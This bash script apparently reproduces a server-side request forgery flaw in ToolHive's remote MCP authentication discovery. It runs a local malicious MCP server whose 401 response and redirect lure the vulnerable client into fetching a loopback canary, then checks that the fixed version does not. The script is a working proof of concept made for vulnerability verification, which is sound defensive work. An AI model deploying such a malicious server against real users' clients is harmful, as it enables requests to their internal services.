#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts/toolhive-ssrf"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

cd "$ROOT"
MAIN_LOG="$LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
exec > >(tee -a "$MAIN_LOG") 2>&1

printf '[INFO] ToolHive CVE-2026-58196 reproduction started at %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)"

SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
VULN_HIT=false
FIXED_HIT=false
VULN_ATTEMPTS=0
FIXED_ATTEMPTS=0
THV_VULN_VERSION="0.30.0"
THV_FIXED_VERSION="0.31.0"
PUBLIC_LAB_IP="198.18.0.10"
SUMMARY_NOTES="attempt started"

write_manifest() {
  python3 - "$REPRO_DIR/runtime_manifest.json" "$SERVICE_STARTED" "$HEALTHCHECK_PASSED" "$TARGET_PATH_REACHED" "$VULN_HIT" "$FIXED_HIT" "$SUMMARY_NOTES" <<'PY'
import json, sys
path, service, health, reached, vuln_hit, fixed_hit, notes = sys.argv[1:]
def b(x): return str(x).lower() == 'true'
artifacts = [
    "logs/reproduction_steps.log",
    "logs/toolhive_vulnerable_attempt1.log",
    "logs/toolhive_vulnerable_attempt2.log",
    "logs/toolhive_fixed_attempt1.log",
    "logs/toolhive_fixed_attempt2.log",
    "logs/malicious_server_vulnerable_attempt1.log",
    "logs/malicious_server_vulnerable_attempt2.log",
    "logs/malicious_server_fixed_attempt1.log",
    "logs/malicious_server_fixed_attempt2.log",
    "logs/canary_vulnerable_attempt1.log",
    "logs/canary_vulnerable_attempt2.log",
    "logs/canary_fixed_attempt1.log",
    "logs/canary_fixed_attempt2.log",
    "artifacts/toolhive-ssrf/attempts.jsonl",
]
manifest = {
    "entrypoint_kind": "authenticate",
    "entrypoint_detail": "ToolHive CLI remote MCP onboarding workflow (`thv run <URL> --remote-auth`) against malicious remote MCP endpoint; host-side RFC 9728 discovery is pointed at a loopback canary",
    "service_started": b(service),
    "healthcheck_passed": b(health),
    "target_path_reached": b(reached),
    "runtime_stack": ["toolhive-thv", "malicious-mcp-http-server", "internal-loopback-canary"],
    "proof_artifacts": artifacts,
    "notes": notes,
    "observations": {"vulnerable_canary_hit": b(vuln_hit), "fixed_canary_hit": b(fixed_hit)}
}
with open(path, 'w', encoding='utf-8') as f:
    json.dump(manifest, f, indent=2, sort_keys=True)
    f.write('\n')
PY
}

cleanup() {
  set +e
  for pidfile in "$ARTIFACTS"/*.pid; do
    [ -f "$pidfile" ] || continue
    pid="$(cat "$pidfile" 2>/dev/null || true)"
    [ -n "$pid" ] && kill "$pid" 2>/dev/null || true
  done
  wait 2>/dev/null || true
  write_manifest
  if [ "${PROOF_CARRY_ENABLED:-false}" = "true" ] && [ -n "${PROJECT_CACHE_DIR:-}" ] && [ -d "$PROJECT_CACHE_DIR" ]; then
    pc="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt"
    mkdir -p "$pc/logs" "$pc/repro" "$pc/artifacts"
    cp -f "$REPRO_DIR/reproduction_steps.sh" "$pc/repro/reproduction_steps.sh" 2>/dev/null || true
    cp -f "$REPRO_DIR/runtime_manifest.json" "$pc/repro/runtime_manifest.json" 2>/dev/null || true
    cp -f "$REPRO_DIR/validation_verdict.json" "$pc/repro/validation_verdict.json" 2>/dev/null || true
    cp -f "$REPRO_DIR/rca_report.md" "$pc/repro/rca_report.md" 2>/dev/null || true
    cp -f "$MAIN_LOG" "$pc/logs/reproduction_steps.log" 2>/dev/null || true
    cp -f "$ARTIFACTS/attempts.jsonl" "$pc/artifacts/attempts.jsonl" 2>/dev/null || true
  fi
}
trap cleanup EXIT
write_manifest

# Runtime cache discovery. Use the prepared durable cache layout when present.
PROJECT_CACHE_DIR=""
PROOF_CARRY_ENABLED=false
if [ -f "$ROOT/project_cache_context.json" ]; then
  if jq -e '.prepared == true and (.project_cache_dir|type=="string")' "$ROOT/project_cache_context.json" >/dev/null 2>&1; then
    PROJECT_CACHE_DIR="$(jq -r '.project_cache_dir' "$ROOT/project_cache_context.json")"
    PROOF_CARRY_ENABLED="$(jq -r '(.proof_carry.enabled // false)' "$ROOT/project_cache_context.json")"
  fi
fi
if [ -n "$PROJECT_CACHE_DIR" ]; then
  CACHE_ROOT="$PROJECT_CACHE_DIR"
else
  CACHE_ROOT="$ROOT/artifacts/toolhive-cache"
fi
REPO="$CACHE_ROOT/repo"
BIN_ROOT="$CACHE_ROOT/bin"
mkdir -p "$CACHE_ROOT" "$BIN_ROOT"

# Build/acquire exact vulnerable and fixed product binaries. Go is only needed as a fallback.
ensure_thv() {
  ver="$1"
  dest="$BIN_ROOT/toolhive-$ver"
  bin="$dest/thv"
  if [ ! -x "$bin" ]; then
    mkdir -p "$dest"
    archive="$BIN_ROOT/toolhive-$ver.tar.gz"
    url="https://github.com/stacklok/toolhive/releases/download/v$ver/toolhive_${ver}_linux_amd64.tar.gz"
    printf '[INFO] Downloading ToolHive %s from %s\n' "$ver" "$url"
    curl -fsSL "$url" -o "$archive"
    tar -xzf "$archive" -C "$dest"
    chmod +x "$bin" 2>/dev/null || true
  fi
  if [ ! -x "$bin" ]; then
    printf '[ERROR] ToolHive binary not found at %s\n' "$bin"
    return 1
  fi
  "$bin" version > "$LOGS/toolhive_${ver}_version.log" 2>&1 || true
}
ensure_thv "$THV_VULN_VERSION"
ensure_thv "$THV_FIXED_VERSION"
THV_VULN="$BIN_ROOT/toolhive-$THV_VULN_VERSION/thv"
THV_FIXED="$BIN_ROOT/toolhive-$THV_FIXED_VERSION/thv"

# Keep an exact source checkout for root-cause anchoring and future runs.
if [ ! -d "$REPO/.git" ]; then
  printf '[INFO] Cloning source repo into stable cache path %s\n' "$REPO"
  git clone --filter=blob:none https://github.com/stacklok/toolhive.git "$REPO"
fi
git -C "$REPO" fetch --tags --force >/dev/null 2>&1 || true
printf '[INFO] Source v0.30.0 commit: %s\n' "$(git -C "$REPO" rev-parse v0.30.0^{commit})"
printf '[INFO] Source v0.31.0 commit: %s\n' "$(git -C "$REPO" rev-parse v0.31.0^{commit})"

# Add a public-looking lab address to loopback if possible. The fixed ToolHive path
# treats this target as non-private, so server-supplied localhost metadata is blocked.
if command -v ip >/dev/null 2>&1; then
  if ! ip addr show dev lo | grep -q "$PUBLIC_LAB_IP"; then
    if command -v sudo >/dev/null 2>&1; then
      sudo ip addr add "$PUBLIC_LAB_IP/32" dev lo 2>/dev/null || true
    else
      ip addr add "$PUBLIC_LAB_IP/32" dev lo 2>/dev/null || true
    fi
  fi
fi
if ! python3 - <<PY
import socket, sys
s=socket.socket();
try:
    s.bind(("$PUBLIC_LAB_IP", 0)); print(s.getsockname()[1])
except OSError as e:
    sys.exit(1)
finally:
    s.close()
PY
then
  printf '[WARN] Could not bind %s; falling back to 127.0.0.1. Fixed version may allow localhost metadata for intentionally internal targets.\n' "$PUBLIC_LAB_IP"
  PUBLIC_LAB_IP="127.0.0.1"
fi

cat > "$ARTIFACTS/lab_servers.py" <<'PY'
#!/usr/bin/env python3
import argparse, http.server, json, os, socketserver, sys, time, urllib.parse

class ReuseTCPServer(socketserver.ThreadingTCPServer):
    allow_reuse_address = True
    daemon_threads = True

def log_line(path, obj):
    obj = dict(obj)
    obj.setdefault("ts", time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()))
    with open(path, "a", encoding="utf-8") as f:
        f.write(json.dumps(obj, sort_keys=True) + "\n")
        f.flush()

class CanaryHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        log_line(self.server.log_path, {"server":"canary", "method":"GET", "path":self.path, "headers":dict(self.headers), "client":self.client_address[0]})
        body = {
            "resource": self.server.resource_url,
            "authorization_servers": [],
            "scopes_supported": ["openid"],
            "canary": "CVE-2026-58196 host-side SSRF oracle"
        }
        data = json.dumps(body).encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)
    def do_POST(self):
        n = int(self.headers.get("Content-Length") or 0)
        body = self.rfile.read(n).decode("utf-8", "replace") if n else ""
        log_line(self.server.log_path, {"server":"canary", "method":"POST", "path":self.path, "body":body, "headers":dict(self.headers), "client":self.client_address[0]})
        self.do_GET()
    def log_message(self, fmt, *args):
        log_line(self.server.log_path, {"server":"canary-http-log", "message":fmt % args})

class MaliciousHandler(http.server.BaseHTTPRequestHandler):
    def _redirect_metadata(self):
        log_line(self.server.log_path, {"server":"malicious", "event":"metadata_redirect", "method":self.command, "path":self.path, "location":self.server.canary_url, "headers":dict(self.headers), "client":self.client_address[0]})
        self.send_response(302)
        self.send_header("Location", self.server.canary_url)
        self.send_header("Content-Length", "0")
        self.end_headers()
    def _reply_unauth(self):
        log_line(self.server.log_path, {"server":"malicious", "method":self.command, "path":self.path, "headers":dict(self.headers), "client":self.client_address[0]})
        value = f'Bearer realm="toolhive-lab", resource_metadata="{self.server.metadata_url}"'
        body = b'{"error":"authentication required","detail":"resource_metadata points at loopback canary"}\n'
        self.send_response(401)
        self.send_header("WWW-Authenticate", value)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)
    def do_GET(self):
        if self.path.startswith("/metadata-redirect"):
            return self._redirect_metadata()
        self._reply_unauth()
    def do_POST(self):
        n = int(self.headers.get("Content-Length") or 0)
        body = self.rfile.read(n).decode("utf-8", "replace") if n else ""
        log_line(self.server.log_path, {"server":"malicious-body", "body":body})
        if self.path.startswith("/metadata-redirect"):
            return self._redirect_metadata()
        self._reply_unauth()
    def log_message(self, fmt, *args):
        log_line(self.server.log_path, {"server":"malicious-http-log", "message":fmt % args})

ap = argparse.ArgumentParser()
ap.add_argument("--role", choices=["canary", "malicious"], required=True)
ap.add_argument("--host", required=True)
ap.add_argument("--port", type=int, required=True)
ap.add_argument("--log", required=True)
ap.add_argument("--metadata-url", default="")
ap.add_argument("--resource-url", default="")
ap.add_argument("--canary-url", default="")
args = ap.parse_args()
handler = CanaryHandler if args.role == "canary" else MaliciousHandler
httpd = ReuseTCPServer((args.host, args.port), handler)
httpd.log_path = args.log
httpd.metadata_url = args.metadata_url
httpd.canary_url = args.canary_url
httpd.resource_url = args.resource_url
log_line(args.log, {"server":args.role, "event":"started", "host":args.host, "port":args.port, "metadata_url":args.metadata_url})
print(f"READY {args.role} {args.host}:{args.port}", flush=True)
httpd.serve_forever()
PY
chmod +x "$ARTIFACTS/lab_servers.py"

pick_port() {
  python3 - <<'PY'
import socket
s=socket.socket(); s.bind(("127.0.0.1",0)); print(s.getsockname()[1]); s.close()
PY
}

wait_http() {
  url="$1"
  for _ in $(seq 1 50); do
    code="$(curl -sS --max-time 1 -o /dev/null -w '%{http_code}' "$url" 2>/dev/null || true)"
    case "$code" in 200|401|404) return 0;; esac
    sleep 0.1
  done
  return 1
}

run_attempt() {
  role="$1"; attempt="$2"; thv="$3"
  printf '\n[INFO] === %s attempt %s using %s ===\n' "$role" "$attempt" "$($thv version 2>/dev/null | tr '\n' ' ' || true)"
  canary_port="$(pick_port)"
  malicious_port="$(pick_port)"
  canary_log="$LOGS/canary_${role}_attempt${attempt}.log"
  malicious_log="$LOGS/malicious_server_${role}_attempt${attempt}.log"
  thv_log="$LOGS/toolhive_${role}_attempt${attempt}.log"
  : > "$canary_log"; : > "$malicious_log"; : > "$thv_log"
  rm -f "$ARTIFACTS/${role}_${attempt}_canary.pid" "$ARTIFACTS/${role}_${attempt}_malicious.pid" "$ARTIFACTS/${role}_${attempt}_thv.pid"
  canary_metadata_url="http://127.0.0.1:${canary_port}/internal-canary/${role}/${attempt}/metadata.json"
  metadata_url="http://${PUBLIC_LAB_IP}:${malicious_port}/metadata-redirect/${role}/${attempt}"
  resource_url="http://${PUBLIC_LAB_IP}:${malicious_port}"
  python3 "$ARTIFACTS/lab_servers.py" --role canary --host 127.0.0.1 --port "$canary_port" --log "$canary_log" --resource-url "$resource_url" > "$LOGS/canary_${role}_attempt${attempt}.stdout" 2>&1 &
  echo $! > "$ARTIFACTS/${role}_${attempt}_canary.pid"
  python3 "$ARTIFACTS/lab_servers.py" --role malicious --host "$PUBLIC_LAB_IP" --port "$malicious_port" --log "$malicious_log" --metadata-url "$metadata_url" --canary-url "$canary_metadata_url" > "$LOGS/malicious_server_${role}_attempt${attempt}.stdout" 2>&1 &
  echo $! > "$ARTIFACTS/${role}_${attempt}_malicious.pid"
  if ! wait_http "$canary_metadata_url"; then
    printf '[ERROR] Canary not reachable for %s attempt %s\n' "$role" "$attempt"
    return 2
  fi
  if ! wait_http "$resource_url"; then
    printf '[ERROR] Malicious remote MCP endpoint not reachable for %s attempt %s\n' "$role" "$attempt"
    return 2
  fi
  SERVICE_STARTED=true
  HEALTHCHECK_PASSED=true
  # Clear startup/health logs; only ToolHive-triggered requests should remain.
  : > "$canary_log"
  : > "$malicious_log"

  HOME_DIR="$ARTIFACTS/home_${role}_${attempt}"
  XDG_DIR="$ARTIFACTS/xdg_${role}_${attempt}"
  mkdir -p "$HOME_DIR" "$XDG_DIR"
  # Start the documented ToolHive remote MCP server onboarding workflow.
  # `thv run <URL> --remote-auth` is the product path described by the advisory;
  # it performs authentication discovery in the host process before any per-server
  # container sandbox could mediate the outbound request. The command is bounded
  # and is expected to exit non-zero after discovery because this lab does not
  # complete a real OAuth login; the SSRF oracle is the canary request made during
  # discovery before that later failure.
  env HOME="$HOME_DIR" XDG_CONFIG_HOME="$XDG_DIR" NO_COLOR=1 TOOLHIVE_NO_UPDATE_CHECK=1 \
    timeout 15 "$thv" --debug run "$resource_url" \
      --name "cve-2026-58196-${role}-${attempt}" \
      --remote-auth \
      --remote-auth-skip-browser \
      --remote-auth-timeout 5s \
      --foreground \
      > "$thv_log" 2>&1 || true
  sleep 0.5
  thv_pid=""

  canary_count="$(grep -c '"server": "canary"\|"server":"canary"' "$canary_log" 2>/dev/null || true)"
  malicious_count="$(grep -c '"server": "malicious"\|"server":"malicious"' "$malicious_log" 2>/dev/null || true)"
  if [ "$malicious_count" -gt 0 ]; then TARGET_PATH_REACHED=true; fi
  printf '[INFO] %s attempt %s: malicious requests=%s, canary requests=%s\n' "$role" "$attempt" "$malicious_count" "$canary_count"
  python3 - "$ARTIFACTS/attempts.jsonl" "$role" "$attempt" "$resource_url" "$metadata_url" "$malicious_count" "$canary_count" "$thv_log" "$malicious_log" "$canary_log" <<'PY'
import json, sys, time
out, role, attempt, resource, metadata, mcnt, ccnt, thvlog, mlog, clog = sys.argv[1:]
with open(out, 'a', encoding='utf-8') as f:
    f.write(json.dumps({"ts":time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()), "role":role, "attempt":int(attempt), "resource_url":resource, "metadata_url":metadata, "malicious_request_count":int(mcnt), "canary_request_count":int(ccnt), "toolhive_log":thvlog, "malicious_log":mlog, "canary_log":clog}, sort_keys=True)+"\n")
PY
  kill "$(cat "$ARTIFACTS/${role}_${attempt}_malicious.pid")" 2>/dev/null || true
  kill "$(cat "$ARTIFACTS/${role}_${attempt}_canary.pid")" 2>/dev/null || true
  wait "$(cat "$ARTIFACTS/${role}_${attempt}_malicious.pid")" 2>/dev/null || true
  wait "$(cat "$ARTIFACTS/${role}_${attempt}_canary.pid")" 2>/dev/null || true
  [ "$canary_count" -gt 0 ]
}

: > "$ARTIFACTS/attempts.jsonl"

vuln_success=0
fixed_hits=0
for i in 1 2; do
  VULN_ATTEMPTS=$((VULN_ATTEMPTS+1))
  if run_attempt vulnerable "$i" "$THV_VULN"; then
    vuln_success=$((vuln_success+1))
  fi
  write_manifest
  sleep 0.5
done
if [ "$vuln_success" -eq 2 ]; then VULN_HIT=true; fi

for i in 1 2; do
  FIXED_ATTEMPTS=$((FIXED_ATTEMPTS+1))
  if run_attempt fixed "$i" "$THV_FIXED"; then
    fixed_hits=$((fixed_hits+1))
  fi
  write_manifest
  sleep 0.5
done
if [ "$fixed_hits" -gt 0 ]; then FIXED_HIT=true; fi

printf '\n[INFO] Vulnerable canary-hit attempts: %s/2\n' "$vuln_success"
printf '[INFO] Fixed canary-hit attempts: %s/2\n' "$fixed_hits"

if [ "$vuln_success" -eq 2 ] && [ "$fixed_hits" -eq 0 ]; then
  SUMMARY_NOTES="confirmed: ToolHive v0.30.0 host-side auth discovery fetched attacker-selected loopback canary twice; v0.31.0 did not hit canary in either negative-control attempt"
  TARGET_PATH_REACHED=true
  VULN_HIT=true
  FIXED_HIT=false
  write_manifest
  printf '[CONFIRMED] CVE-2026-58196 reproduced with vulnerable/fixed divergence.\n'
  if [ "${PROOF_CARRY_ENABLED:-false}" = "true" ] && [ -n "${PROJECT_CACHE_DIR:-}" ] && [ -d "$PROJECT_CACHE_DIR" ]; then
    pc="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_confirmed"
    mkdir -p "$pc/logs" "$pc/repro" "$pc/artifacts"
    cp -f "$REPRO_DIR/reproduction_steps.sh" "$pc/repro/reproduction_steps.sh" 2>/dev/null || true
    cp -f "$REPRO_DIR/runtime_manifest.json" "$pc/repro/runtime_manifest.json" 2>/dev/null || true
    cp -f "$MAIN_LOG" "$pc/logs/reproduction_steps.log" 2>/dev/null || true
    cp -f "$ARTIFACTS/attempts.jsonl" "$pc/artifacts/attempts.jsonl" 2>/dev/null || true
  fi
  exit 0
else
  SUMMARY_NOTES="not confirmed: vulnerable_success=${vuln_success}/2 fixed_canary_hits=${fixed_hits}/2; inspect logs under bundle/logs"
  write_manifest
  printf '[NOT CONFIRMED] Expected vulnerable hits=2 and fixed hits=0, got vulnerable=%s fixed=%s.\n' "$vuln_success" "$fixed_hits"
  exit 1
fi